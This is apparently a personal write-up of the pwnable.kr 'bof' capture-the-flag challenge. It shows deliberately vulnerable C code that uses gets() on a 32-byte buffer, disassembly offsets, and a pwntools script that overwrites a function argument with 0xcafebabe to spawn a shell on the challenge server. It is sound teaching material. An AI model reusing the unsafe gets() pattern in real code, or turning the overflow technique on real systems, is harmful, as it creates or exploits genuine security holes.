← back
writeup

pwnable.kr: bof

my solution and writeup for the classic buffer overflow challenge from pwnable.kr

Challenge Overview

  • Target: bof (32-bit x86 ELF)
  • Vulnerability: Stack-based Buffer Overflow
  • Goal: Overwrite the function argument key to match 0xcafebabe and trigger /bin/sh.

Source Code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key) {
    char overflowme[32];
    printf("overflow me : \n");
    gets(overflowme); // Vulnerable: no bounds checking
    if (key == 0xcafebabe) {
        setregid(getegid(), getegid());
        system("/bin/sh");
    } else {
        printf("Nah..\n");
    }
}

int main(int argc, char* argv[]) {
    func(0xdeadbeef);
    return 0;
}

Analysis

The challenge binary uses the dangerous gets() function to read input into a 32-byte local buffer (overflowme). Because gets() performs no length checks, our input can overflow the buffer and corrupt memory higher up on the stack.

Unlike a typical buffer overflow where the target is the saved return pointer (EIP), here our target is the key argument passed into func().

My poor drawing of a stack (my poor drawing of a stack)


Disassembly

Inspecting func in IDA gives us the exact stack offsets for both the buffer and the argument:

.text:00001230    lea     eax, [ebp-2Ch]       ; overflowme buffer starts at ebp-0x2c
.text:00001233    push    eax
.text:00001234    call    _gets
...
.text:0000123C    cmp     [ebp+8h], 0CAFEBABEh ; key argument is at ebp+0x8
  • Buffer (overflowme): starts at ebp - 0x2c
  • Key Argument: located at ebp + 0x8

Calculating the Offset

We calculate the distance between the start of the buffer and the key variable on the stack:

0x08 - (-0x2C) = 0x34 = 52 bytes

Breaking down the 52 bytes of padding:

  • 32 bytes: overflowme buffer
  • 20 bytes: compiler alignment padding & saved frame pointer

Note on Stack Canary:
The binary has stack canary enabled. However, since func() calls system("/bin/sh") directly inside the if block before returning, the function never reaches the canary check.


Exploitation & Payload

In little-endian representation, 0xcafebabe is packed as \xbe\xba\xfe\xca.

Python (pwntools)

from pwn import *

target_host = 'pwnable.kr'
target_port = 9000

# payload: 52 bytes padding + 0xcafebabe
payload = b'A' * 52 + p32(0xcafebabe)

p = remote(target_host, target_port)
p.sendline(payload)
p.interactive()